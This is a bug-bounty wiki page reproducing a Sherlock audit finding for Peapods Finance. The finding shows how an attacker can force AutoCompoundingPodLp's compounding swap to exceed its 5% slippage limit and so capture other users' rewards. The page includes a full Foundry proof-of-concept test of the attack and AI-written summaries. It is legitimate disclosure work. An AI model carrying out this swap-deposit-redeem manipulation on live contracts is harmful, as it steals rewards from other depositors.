Skip to content
Business logic Audit finding Advanced

Attacker can steal rewards in AutoCompoundingPodLp because he can revert the compounding with slippage

The auto-compounding contract swaps reward tokens into the pod token with a 5% slippage tolerance, and an attacker can push the swap past that tolerance so compounding reverts. The attacker then deposits and later redeems, capturing a share of the rewards that were left uncompounded.

Schnilch Follow with X77, pashap9990 and 1 other

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2025-01-peapods-finance-judging/issues/274

Found by

Schnilch, X77, pashap9990, rscodes

Summary

_processRewardsToPodLp swaps the reward token into pTKN in order to add liquidity and stake it. However, an attacker can receive rewards they shouldn't by causing slippage during the swap, which causes it to fail. This allows the attacker to deposit without the rewards being compounded. Therefore, when compounding is successful next time, the attacker will receive a portion of those rewards.

Root Cause

AutoCompoundingPodLp uses _processRewardsToPodLp to compound the rewards. To do this, the rewards must first be swapped into pTKNs so that they can be added as liquidity, which then generates LP tokens that can be staked. The problem lies in the swap in _pairedLpTokenToPodLp: https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L316-L325 When the podOracle is set, a minimum amount is calculated that should come out during the swap, with a 5% slippage taken into account. The problem is that an attacker can cause this 5% slippage to occur, which results in the swap being reverted. This means the rewards are not compounded and remain in AutoCompoundingPodLp. The root cause is that new users can receive old rewards that could not previously be compounded.

It is important to note that in TokenRewards, LEAVE_AS_PAIRED_LP must be set to true (unless the paired LP token is in the _allRewardsTokens list in TokenRewards), otherwise, the paired LP tokens that remain in the contract when the swap in AutoCompoundingLp is reverted will not be compounded because they are not reward tokens. (This is a different bug that I describe in more detail in a separate issue, but I wanted to mention this here as it could limit this bug)

Internal Pre-conditions

  1. podOracle must be set in AutoCompoundingPodLp
  2. LEAVE_AS_PAIRED_LP must be true if the paired LP token is not in the _allRewardsTokens list in TokenRewards

External Pre-conditions

No external pre-conditions

Attack Path

  1. It is assumed that some rewards are currently in AutoCompoundingPodLp
  2. An attacker with spTKNs sees this and swaps paired LP tokens into pTKNs
  3. The attacker then deposits his spTKNs into AutoCompoundingPodLp, where no rewards can be compounded because the swap is reverted
  4. The attacker then swaps the pTKNs back into paired LP tokens, thereby reducing slippage
  5. The attacker redeems from AutoCompoundingPodLp, where compounding is possible this time. Due to the compounding, there are more spTKNs in AutoCompoundingPodLp, so the attacker receives more than the amount he initially deposited.

Impact

A attacker can steal spTKN rewards from other users, causing them to receive fewer rewards.

PoC

  1. To execute the POC, a POC.t.sol file should be created in contracts/test/POC.t.sol.
  2. The following code should be inserted into the file:
Solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;

import {console} from "forge-std/console.sol";

// forge
import {Test} from "forge-std/Test.sol";

// PEAS
import {PEAS} from "../../contracts/PEAS.sol";
import {V3TwapUtilities} from "../../contracts/twaputils/V3TwapUtilities.sol";
import {UniswapDexAdapter} from "../../contracts/dex/UniswapDexAdapter.sol";
import {IDecentralizedIndex} from "../../contracts/interfaces/IDecentralizedIndex.sol";
import {WeightedIndex} from "../../contracts/WeightedIndex.sol";
import {StakingPoolToken} from "../../contracts/StakingPoolToken.sol";
import {LendingAssetVault} from "../../contracts/LendingAssetVault.sol";
import {IndexUtils} from "../../contracts/IndexUtils.sol";
import {IIndexUtils} from "../../contracts/interfaces/IIndexUtils.sol";
import {IndexUtils} from "../contracts/IndexUtils.sol";
import {RewardsWhitelist} from "../../contracts/RewardsWhitelist.sol";
import {TokenRewards} from "../../contracts/TokenRewards.sol";

// oracles
import {ChainlinkSinglePriceOracle} from "../../contracts/oracle/ChainlinkSinglePriceOracle.sol";
import {UniswapV3SinglePriceOracle} from "../../contracts/oracle/UniswapV3SinglePriceOracle.sol";
import {DIAOracleV2SinglePriceOracle} from "../../contracts/oracle/DIAOracleV2SinglePriceOracle.sol";
import {V2ReservesUniswap} from "../../contracts/oracle/V2ReservesUniswap.sol";
import {aspTKNMinimalOracle} from "../../contracts/oracle/aspTKNMinimalOracle.sol";

// protocol fees
import {ProtocolFees} from "../../contracts/ProtocolFees.sol";
import {ProtocolFeeRouter} from "../../contracts/ProtocolFeeRouter.sol";

// autocompounding
import {AutoCompoundingPodLpFactory} from "../../contracts/AutoCompoundingPodLpFactory.sol";
import {AutoCompoundingPodLp} from "../../contracts/AutoCompoundingPodLp.sol";

// lvf
import {LeverageManager} from "../../contracts/lvf/LeverageManager.sol";

// fraxlend
import {FraxlendPairDeployer, ConstructorParams} from "./invariant/modules/fraxlend/FraxlendPairDeployer.sol";
import {FraxlendWhitelist} from "./invariant/modules/fraxlend/FraxlendWhitelist.sol";
import {FraxlendPairRegistry} from "./invariant/modules/fraxlend/FraxlendPairRegistry.sol";
import {FraxlendPair} from "./invariant/modules/fraxlend/FraxlendPair.sol";
import {VariableInterestRate} from "./invariant/modules/fraxlend/VariableInterestRate.sol";
import {IERC4626Extended} from "./invariant/modules/fraxlend/interfaces/IERC4626Extended.sol";

// flash
import {IVault} from "./invariant/modules/balancer/interfaces/IVault.sol";
import {BalancerFlashSource} from "../../contracts/flash/BalancerFlashSource.sol";
import {PodFlashSource} from "../../contracts/flash/PodFlashSource.sol";
import {UniswapV3FlashSource} from "../../contracts/flash/UniswapV3FlashSource.sol";

// uniswap-v2-core
import {UniswapV2Factory} from "v2-core/UniswapV2Factory.sol";
import {UniswapV2Pair} from "v2-core/UniswapV2Pair.sol";

// uniswap-v2-periphery
import {UniswapV2Router02} from "v2-periphery/UniswapV2Router02.sol";

// uniswap-v3-core
import {UniswapV3Factory} from "v3-core/UniswapV3Factory.sol";
import {UniswapV3Pool} from "v3-core/UniswapV3Pool.sol";

// uniswap-v3-periphery
import {SwapRouter02} from "swap-router/SwapRouter02.sol";
import {LiquidityManagement} from "v3-periphery/base/LiquidityManagement.sol";
import {PeripheryPayments} from "v3-periphery/base/PeripheryPayments.sol";
import {PoolAddress} from "v3-periphery/libraries/PoolAddress.sol";

// mocks
import {WETH9} from "./invariant/mocks/WETH.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockERC20} from "./invariant/mocks/MockERC20.sol";
import {TestERC20} from "./invariant/mocks/TestERC20.sol";
import {TestERC4626Vault} from "./invariant/mocks/TestERC4626Vault.sol";
import {MockV3Aggregator} from "./invariant/mocks/MockV3Aggregator.sol";
import {MockUniV3Minter} from "./invariant/mocks/MockUniV3Minter.sol";
import {MockV3TwapUtilities} from "./invariant/mocks/MockV3TwapUtilities.sol";

import {PodHelperTest} from "./helpers/PodHelper.t.sol";

contract AuditTests is PodHelperTest {
    address alice = vm.addr(uint256(keccak256("alice")));
    address bob = vm.addr(uint256(keccak256("bob")));
    address charlie = vm.addr(uint256(keccak256("charlie")));

    uint256[] internal _fraxPercentages = [10000, 2500, 7500, 5000];

    // fraxlend protocol actors
    address internal comptroller = vm.addr(uint256(keccak256("comptroller")));
    address internal circuitBreaker = vm.addr(uint256(keccak256("circuitBreaker")));
    address internal timelock = vm.addr(uint256(keccak256("comptroller")));

    uint16 internal fee = 100;
    uint256 internal PRECISION = 10 ** 27;

    uint256 donatedAmount;
    uint256 lavDeposits;

    /*///////////////////////////////////////////////////////////////
                            TEST CONTRACTS
    ///////////////////////////////////////////////////////////////*/

    PEAS internal _peas;
    MockV3TwapUtilities internal _twapUtils;
    UniswapDexAdapter internal _dexAdapter;
    LendingAssetVault internal _lendingAssetVault;
    LendingAssetVault internal _lendingAssetVault2;
    RewardsWhitelist internal _rewardsWhitelist;

    // oracles
    V2ReservesUniswap internal _v2Res;
    ChainlinkSinglePriceOracle internal _clOracle;
    UniswapV3SinglePriceOracle internal _uniOracle;
    DIAOracleV2SinglePriceOracle internal _diaOracle;
    aspTKNMinimalOracle internal _aspTKNMinOracle1Peas;
    aspTKNMinimalOracle internal _aspTKNMinOracle1Weth;

    // protocol fees
    ProtocolFees internal _protocolFees;
    ProtocolFeeRouter internal _protocolFeeRouter;

    // pods
    WeightedIndex internal _pod1Peas;

    // index utils
    IndexUtils internal _indexUtils;

    // autocompounding
    AutoCompoundingPodLpFactory internal _aspTKNFactory;
    AutoCompoundingPodLp internal _aspTKN1Peas;
    address internal _aspTKN1PeasAddress;

    // lvf
    LeverageManager internal _leverageManager;

    // fraxlend
    FraxlendPairDeployer internal _fraxDeployer;
    FraxlendWhitelist internal _fraxWhitelist;
    FraxlendPairRegistry internal _fraxRegistry;
    VariableInterestRate internal _variableInterestRate;

    FraxlendPair internal _fraxLPToken1Peas;

    // flash
    UniswapV3FlashSource internal _uniswapV3FlashSourcePeas;

    // mocks
    MockUniV3Minter internal _uniV3Minter;
    MockERC20 internal _mockDai;
    WETH9 internal _weth;
    MockERC20 internal _tokenA;
    MockERC20 internal _tokenB;
    MockERC20 internal _tokenC;

    // uniswap-v2-core
    UniswapV2Factory internal _uniV2Factory;
    UniswapV2Pair internal _uniV2Pool;

    // uniswap-v2-periphery
    UniswapV2Router02 internal _v2SwapRouter;

    // uniswap-v3-core
    UniswapV3Factory internal _uniV3Factory;
    UniswapV3Pool internal _v3peasDaiPool;
    UniswapV3Pool internal _v3peasDaiFlash;

    // uniswap-v3-periphery
    SwapRouter02 internal _v3SwapRouter;

    function setUp() public override {
        super.setUp();

        _deployUniV3Minter();
        _deployWETH();
        _deployTokens();
        _deployPEAS();
        _deployUniV2();
        _deployUniV3();
        _deployProtocolFees();
        _deployRewardsWhitelist();
        _deployTwapUtils();
        _deployDexAdapter();
        _deployIndexUtils();
        _deployWeightedIndexes();
        _deployAutoCompoundingPodLpFactory();
        _getAutoCompoundingPodLpAddresses();
        _deployAspTKNOracles();
        _deployAspTKNs();
        _deployVariableInterestRate();
        _deployFraxWhitelist();
        _deployFraxPairRegistry();
        _deployFraxPairDeployer();
        _deployFraxPairs();
        _deployLendingAssetVault();
        _deployLeverageManager();
        _deployFlashSources();
        
        _mockDai.mint(alice, 1_000_000 ether);
        _mockDai.mint(bob, 1_000_000 ether);
        _mockDai.mint(charlie, 1_000_000 ether);
        _peas.transfer(alice, 100_000 ether);
        _peas.transfer(bob, 100_000 ether);
        _peas.transfer(charlie, 100_000 ether);
    }

    function _deployUniV3Minter() internal {
        _uniV3Minter = new MockUniV3Minter();
    }

    function _deployWETH() internal {
        _weth = new WETH9();

        vm.deal(address(this), 1_000_000 ether);
        _weth.deposit{value: 1_000_000 ether}();

        vm.deal(address(_uniV3Minter), 2_000_000 ether);
        vm.prank(address(_uniV3Minter));
        _weth.deposit{value: 2_000_000 ether}();
    }

    function _deployTokens() internal {
        _mockDai = new MockERC20();
        _tokenA = new MockERC20();
        _tokenB = new MockERC20();
        _tokenC = new MockERC20();

        _mockDai.initialize("MockDAI", "mDAI", 18);
        _tokenA.initialize("TokenA", "TA", 18);
        _tokenB.initialize("TokenB", "TB", 18);
        _tokenC.initialize("TokenC", "TC", 18);

        _tokenA.mint(address(this), 1_000_000 ether);
        _tokenB.mint(address(this), 1_000_000 ether);
        _tokenC.mint(address(this), 1_000_000 ether);
        _mockDai.mint(address(this), 1_000_000 ether);

        _tokenA.mint(address(_uniV3Minter), 1_000_000 ether);
        _tokenB.mint(address(_uniV3Minter), 1_000_000 ether);
        _tokenC.mint(address(_uniV3Minter), 1_000_000 ether);
        _mockDai.mint(address(_uniV3Minter), 1_000_000 ether);

        _tokenA.mint(alice, 1_000_000 ether);
        _tokenB.mint(alice, 1_000_000 ether);
        _tokenC.mint(alice, 1_000_000 ether);
        _mockDai.mint(alice, 1_000_000 ether);

        _tokenA.mint(bob, 1_000_000 ether);
        _tokenB.mint(bob, 1_000_000 ether);
        _tokenC.mint(bob, 1_000_000 ether);
        _mockDai.mint(bob, 1_000_000 ether);

        _tokenA.mint(charlie, 1_000_000 ether);
        _tokenB.mint(charlie, 1_000_000 ether);
        _tokenC.mint(charlie, 1_000_000 ether);
        _mockDai.mint(charlie, 1_000_000 ether);
    }

    function _deployPEAS() internal {
        _peas = new PEAS("Peapods", "PEAS");
        _peas.transfer(address(_uniV3Minter), 2_000_000 ether);
    }

    function _deployUniV2() internal {
        _uniV2Factory = new UniswapV2Factory(address(this));
        _v2SwapRouter = new UniswapV2Router02(address(_uniV2Factory), address(_weth));
    }

    function _deployUniV3() internal {
        _uniV3Factory = new UniswapV3Factory();
        _v3peasDaiPool = UniswapV3Pool(_uniV3Factory.createPool(address(_peas), address(_mockDai), 10_000));
        _v3peasDaiPool.initialize(1 << 96);
        _v3peasDaiPool.increaseObservationCardinalityNext(600);
        _uniV3Minter.V3addLiquidity(_v3peasDaiPool, 100_000 ether);

        _v3peasDaiFlash = UniswapV3Pool(_uniV3Factory.createPool(address(_peas), address(_mockDai), 500));
        _v3peasDaiFlash.initialize(1 << 96);
        _v3peasDaiFlash.increaseObservationCardinalityNext(600);
        _uniV3Minter.V3addLiquidity(_v3peasDaiFlash, 100_000e18);

        _v3SwapRouter = new SwapRouter02(address(_uniV2Factory), address(_uniV3Factory), address(0), address(_weth));
    }

    function _deployProtocolFees() internal {
        _protocolFees = new ProtocolFees();
        _protocolFees.setYieldAdmin(500);
        _protocolFees.setYieldBurn(500);

        _protocolFeeRouter = new ProtocolFeeRouter(_protocolFees);
        bytes memory code = address(_protocolFeeRouter).code;
        vm.etch(0x7d544DD34ABbE24C8832db27820Ff53C151e949b, code);
        _protocolFeeRouter = ProtocolFeeRouter(0x7d544DD34ABbE24C8832db27820Ff53C151e949b);

        vm.prank(_protocolFeeRouter.owner());
        _protocolFeeRouter.transferOwnership(address(this));
        _protocolFeeRouter.setProtocolFees(_protocolFees);
    }

    function _deployRewardsWhitelist() internal {
        _rewardsWhitelist = new RewardsWhitelist();
        bytes memory code = address(_rewardsWhitelist).code;
        vm.etch(0xEc0Eb48d2D638f241c1a7F109e38ef2901E9450F, code);
        _rewardsWhitelist = RewardsWhitelist(0xEc0Eb48d2D638f241c1a7F109e38ef2901E9450F);

        vm.prank(_rewardsWhitelist.owner());
        _rewardsWhitelist.transferOwnership(address(this));
        _rewardsWhitelist.toggleRewardsToken(address(_peas), true);
    }

    function _deployTwapUtils() internal {
        _twapUtils = new MockV3TwapUtilities();
        bytes memory code = address(_twapUtils).code;
        vm.etch(0x024ff47D552cB222b265D68C7aeB26E586D5229D, code);
        _twapUtils = MockV3TwapUtilities(0x024ff47D552cB222b265D68C7aeB26E586D5229D);
    }

    function _deployDexAdapter() internal {
        _dexAdapter = new UniswapDexAdapter(_twapUtils, address(_v2SwapRouter), address(_v3SwapRouter), false);
    }

    function _deployIndexUtils() internal {
        _indexUtils = new IndexUtils(_twapUtils, _dexAdapter);
    }

    function _deployWeightedIndexes() internal {
        IDecentralizedIndex.Config memory _c;
        IDecentralizedIndex.Fees memory _f;
        _f.bond = 300;
        _f.debond = 300;
        _f.burn = 5000;
        //_f.sell = 200;
        _f.buy = 200;

        // POD1 (Peas)
        address[] memory _t1 = new address[](1);
        _t1[0] = address(_peas);
        uint256[] memory _w1 = new uint256[](1);
        _w1[0] = 100;
        address __pod1Peas = _createPod(
            "Peas Pod",
            "pPeas",
            _c,
            _f,
            _t1,
            _w1,
            address(0),
            true,
            abi.encode(
                address(_mockDai),
                address(_peas),
                address(_mockDai),
                address(_protocolFeeRouter),
                address(_rewardsWhitelist),
                address(_twapUtils),
                address(_dexAdapter)
            )
        );
        _pod1Peas = WeightedIndex(payable(__pod1Peas));

        _peas.approve(address(_pod1Peas), 100_000 ether);
        _mockDai.approve(address(_pod1Peas), 100_000 ether);
        _pod1Peas.bond(address(_peas), 100_000 ether, 1 ether);
        _pod1Peas.addLiquidityV2(100_000 ether, 100_000 ether, 100, block.timestamp);
    }

    function _deployAutoCompoundingPodLpFactory() internal {
        _aspTKNFactory = new AutoCompoundingPodLpFactory();
    }
    
    function _getAutoCompoundingPodLpAddresses() internal {
        _aspTKN1PeasAddress = _aspTKNFactory.getNewCaFromParams(
            "Test aspTKN1Peas", "aspTKN1Peas", false, _pod1Peas, _dexAdapter, _indexUtils, 0
        );
    }

    function _deployAspTKNOracles() internal {
        _v2Res = new V2ReservesUniswap();
        _clOracle = new ChainlinkSinglePriceOracle(address(0));
        _uniOracle = new UniswapV3SinglePriceOracle(address(0));
        _diaOracle = new DIAOracleV2SinglePriceOracle(address(0));

        _aspTKNMinOracle1Peas = new aspTKNMinimalOracle(
            address(_aspTKN1PeasAddress),
            abi.encode(
                address(_clOracle),
                address(_uniOracle),
                address(_diaOracle),
                address(_mockDai),
                false,
                false,
                _pod1Peas.lpStakingPool(),
                address(_v3peasDaiPool)
            ),
            abi.encode(address(0), address(0), address(0), address(0), address(0), address(_v2Res))
        );
    }

    function _deployAspTKNs() internal {
        //POD 1
        address _lpPeas = _pod1Peas.lpStakingPool();
        address _stakingPeas = StakingPoolToken(_lpPeas).stakingToken();

        IERC20(_stakingPeas).approve(_lpPeas, 500e18);
        StakingPoolToken(_lpPeas).stake(address(this), 500e18);
        IERC20(_lpPeas).approve(address(_aspTKNFactory), 500e18);

        _aspTKNFactory.create("Test aspTKN1Peas", "aspTKN1Peas", false, _pod1Peas, _dexAdapter, _indexUtils, 0);
        _aspTKN1Peas = AutoCompoundingPodLp(_aspTKN1PeasAddress);

        IERC20(_lpPeas).approve(address(_aspTKN1Peas), 400e18);
        _aspTKN1Peas.deposit(400e18, address(this));
    }

    function _deployVariableInterestRate() internal {
        _variableInterestRate = new VariableInterestRate(
            "[0.5 [email protected] 5-10k] 2 days (.75-.85)",
            87500,
            200000000000000000,
            75000,
            85000,
            158247046,
            1582470460,
            3164940920000,
            172800
        );
    }

    function _deployFraxWhitelist() internal {
        _fraxWhitelist = new FraxlendWhitelist();
    }

    function _deployFraxPairRegistry() internal {
        address[] memory _initialDeployers = new address[](0);
        _fraxRegistry = new FraxlendPairRegistry(address(this), _initialDeployers);
    }

    function _deployFraxPairDeployer() internal {
        ConstructorParams memory _params =
            ConstructorParams(circuitBreaker, comptroller, timelock, address(_fraxWhitelist), address(_fraxRegistry));
        _fraxDeployer = new FraxlendPairDeployer(_params);

        _fraxDeployer.setCreationCode(type(FraxlendPair).creationCode);

        address[] memory _whitelistDeployer = new address[](1);
        _whitelistDeployer[0] = address(this);

        _fraxWhitelist.setFraxlendDeployerWhitelist(_whitelistDeployer, true);

        address[] memory _registryDeployer = new address[](1);
        _registryDeployer[0] = address(_fraxDeployer);

        _fraxRegistry.setDeployers(_registryDeployer, true);
    }

    function _deployFraxPairs() internal {
        vm.warp(block.timestamp + 1 days);

        _fraxLPToken1Peas = FraxlendPair(
            _fraxDeployer.deploy(
                abi.encode(
                    _pod1Peas.PAIRED_LP_TOKEN(), // asset
                    _aspTKN1PeasAddress, // collateral
                    address(_aspTKNMinOracle1Peas), //oracle
                    5000, // maxOracleDeviation
                    address(_variableInterestRate), //rateContract
                    1000, //fullUtilizationRate
                    75000, // maxLtv
                    10000, // uint256 _cleanLiquidationFee
                    9000, // uint256 _dirtyLiquidationFee
                    2000 //uint256 _protocolLiquidationFee
                )
            )
        );
    }

    function _deployLendingAssetVault() internal {
        _lendingAssetVault = new LendingAssetVault("Test LAV", "tLAV", address(_mockDai));
        IERC20 vaultAsset1Peas = IERC20(_fraxLPToken1Peas.asset());
        vaultAsset1Peas.approve(address(_fraxLPToken1Peas), vaultAsset1Peas.totalSupply());
        vaultAsset1Peas.approve(address(_lendingAssetVault), vaultAsset1Peas.totalSupply());
        _lendingAssetVault.setVaultWhitelist(address(_fraxLPToken1Peas), true);

        address[] memory _vaults = new address[](1);
        _vaults[0] = address(_fraxLPToken1Peas);
        uint256[] memory _allocations = new uint256[](1);
        _allocations[0] = 100_000e18;
        _lendingAssetVault.setVaultMaxAllocation(_vaults, _allocations);

        vm.prank(timelock);
        _fraxLPToken1Peas.setExternalAssetVault(IERC4626Extended(address(_lendingAssetVault)));
    }

    function _deployLeverageManager() internal {
        _leverageManager = new LeverageManager("Test LM", "tLM", IIndexUtils(address(_indexUtils)));
        _leverageManager.setLendingPair(address(_pod1Peas), address(_fraxLPToken1Peas));
    }

    function _deployFlashSources() internal {
        _uniswapV3FlashSourcePeas = new UniswapV3FlashSource(address(_v3peasDaiFlash), address(_leverageManager));
        _leverageManager.setFlashSource(address(_pod1Peas.PAIRED_LP_TOKEN()), address(_uniswapV3FlashSourcePeas));
    }

    function testPoc() public { //leave as paired lp is set to true in the setup
        UniswapV2Pair _v2Pool = UniswapV2Pair(_pod1Peas.DEX_HANDLER().getV2Pool(address(_pod1Peas), address(_mockDai)));
        StakingPoolToken _spTKN = StakingPoolToken(_pod1Peas.lpStakingPool());
        TokenRewards _tokenRewards = TokenRewards(_spTKN.POOL_REWARDS());
        _aspTKN1Peas.setPodOracle(_aspTKNMinOracle1Peas);

        vm.startPrank(bob);
        console.log("\n====== Bob bonds 20_000e18 Peas ======");
        _peas.approve(address(_pod1Peas), 20_000e18);
        _pod1Peas.bond(address(_peas), 20_000e18, 0);

        vm.warp(block.timestamp + 1000);

        console.log("\n====== Bob adds liquidity 10_000e18 ======");
        _mockDai.approve(address(_pod1Peas), 10_000e18);
        _pod1Peas.addLiquidityV2(10_000e18, 10_000e18, 1000, block.timestamp);
        
        console.log("\n====== Bob stakes 9500e18 lp tokens ======");
        _v2Pool.approve(_pod1Peas.lpStakingPool(), 9500e18);
        _spTKN.stake(bob, 9500e18); //The steps up to this point were simply there so that Bob has spTKNs to steal rewards with.

        console.log("\n====== Bob claims rewards for AutoCompoundingLp ======");
        console.log("_aspTKN1Peas _mockDai balance before: ", _mockDai.balanceOf(address(_aspTKN1Peas)));
        //There are rewards for AutoCompoundingPodLp. (In this example, the rewards all come from the fees that Bob paid when bonding, 
        //but if this bug were exploited in reality, there would be many more users generating rewards.)
        _tokenRewards.claimReward(address(_aspTKN1Peas));
        console.log("_aspTKN1Peas _mockDai balance after: ", _mockDai.balanceOf(address(_aspTKN1Peas))); //Shows that the rewards are now in AutoCompoundingPodLp and are waiting to be compounded

        vm.warp(block.timestamp + 1000);

        console.log("Bob spTKN balance before: ", _spTKN.balanceOf(bob)); //Can later be used to calculate how many more tokens the attacker has than at the beginning
        _mockDai.approve(address(_v2SwapRouter), 5000e18);
        address[] memory path = new address[](2);
        path[0] = address(_mockDai);
        path[1] = address(_pod1Peas);
        //Bob swaps _mockDai into _pod1Peas so that the slippage in _processRewardsToPodLp is too high and cannot be compounded
        _v2SwapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            5000e18,
            0,
            path,
            bob,
            block.timestamp
        );

        console.log("\n====== Bob deposits 9500 spTkns ======");
        _spTKN.approve(address(_aspTKN1Peas), 9500e18);
        _aspTKN1Peas.deposit(9500e18, bob);
        console.log("_aspTKN1Peas _mockDai balance: ", _mockDai.balanceOf(address(_aspTKN1Peas))); //Shows that the rewards were not compounded

        _pod1Peas.approve(address(_v2SwapRouter), 6300e18);
        path[0] = address(_pod1Peas);
        path[1] = address(_mockDai);
        //Bob swaps the tokens back to ensure that the swap works during the next compound
        _v2SwapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            6300e18,
            0,
            path,
            bob,
            block.timestamp
        );

        console.log("\n====== Bob redeems 9500 aspTkns ======");
        //Bob redeems his tokens again, with the compounding working this time, resulting in more spTKNs in the AutoCompoundingPodLp, of which he then receives a portion. 
        //This portion should actually be for users who had already deposited before rewards were available.
        _aspTKN1Peas.redeem(9_500e18, bob, bob);
        vm.stopPrank();
        console.log("Bob spTKN balance after: ", _spTKN.balanceOf(bob)); //Shows that Bob has more SPKNs after the attack

        //Shows that too few spTKNs in _aspTKN1Peas are there, the rewards that Bob received should actually belong to the user who already deposited in the 
        //setup in _deployAspTKNs in line 400
        console.log("_aspTKN1Peas _spTKN balance: ", _spTKN.balanceOf(address(_aspTKN1Peas)));
    }
}
  1. The POC can then be started with forge test --mt testPoc -vv --fork-url <FORK_URL>

The original report as published on Sherlock, by Schnilch. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the compounding swap uses a fixed 5% slippage tolerance that an outside party can deliberately exceed, so rewards stay unclaimed and are later shared with whoever deposits in the meantime.

Impact

An attacker could take a share of staked-token rewards that belong to other users, so those users receive fewer rewards; the text notes the attack only works if the paired LP token is treated as a reward token.

What the attacker needed

PodOracle is set on the contract; paired LP token counts as a reward token; attacker holds staked pod tokens; rewards are pending in the contract

How it was found

  1. Rewards are sitting in the auto-compounding contract.
  2. The attacker swaps paired LP tokens into pod tokens to move the price.
  3. The attacker deposits their staked pod tokens while the compounding swap reverts.
  4. The attacker swaps the pod tokens back, reducing the slippage.
  5. The attacker redeems and receives more than they deposited because compounding succeeded.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This contract automatically turns trading fees and rewards into more staked tokens for everyone who has deposited. It does that by swapping one token for another, and it refuses the swap if the price moves more than 5% against it. An attacker can deliberately move the price that far, so the swap fails and the rewards just sit there; the attacker then joins, waits for a later successful swap, and takes a slice of those old rewards.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Schnilch

View all

5 more disclosed reports, best first.

More from Peapods

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.